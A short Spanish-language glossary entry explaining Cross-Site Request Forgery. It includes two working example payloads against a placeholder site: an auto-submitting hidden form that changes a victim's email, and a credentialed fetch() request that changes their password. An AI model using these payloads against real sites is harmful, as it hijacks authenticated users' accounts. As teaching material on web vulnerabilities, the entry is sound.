CSRF
MedioCross-Site Request Forgery
Definición
Cross-Site Request Forgery (CSRF) es una vulnerabilidad que permite a un atacante engañar al navegador de un usuario autenticado para que envíe peticiones no deseadas a una aplicación web. Como el navegador incluye automáticamente las cookies de sesión, la aplicación procesa la petición como si fuera legítima.
Impacto
Ejemplos
CSRF para cambiar email
Si la víctima visita esta página mientras está autenticada en victima.com, su navegador enviará automáticamente las cookies de sesión, cambiando su email al del atacante.
<!-- Página maliciosa del atacante -->
<html>
<body>
<form action="https://victima.com/api/settings/email" method="POST" id="csrf-form">
<input type="hidden" name="email" value="atacante@evil.com" />
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>CSRF con petición JSON (usando fetch)
Algunos endpoints JSON son vulnerables si no validan el Content-Type estrictamente o no requieren un token CSRF. El atributo credentials: include asegura que se envíen las cookies.
<!-- Bypass cuando el endpoint acepta Content-Type: text/plain -->
<script>
fetch('https://victima.com/api/change-password', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'text/plain'},
body: JSON.stringify({password: 'hackeado123'})
});
</script>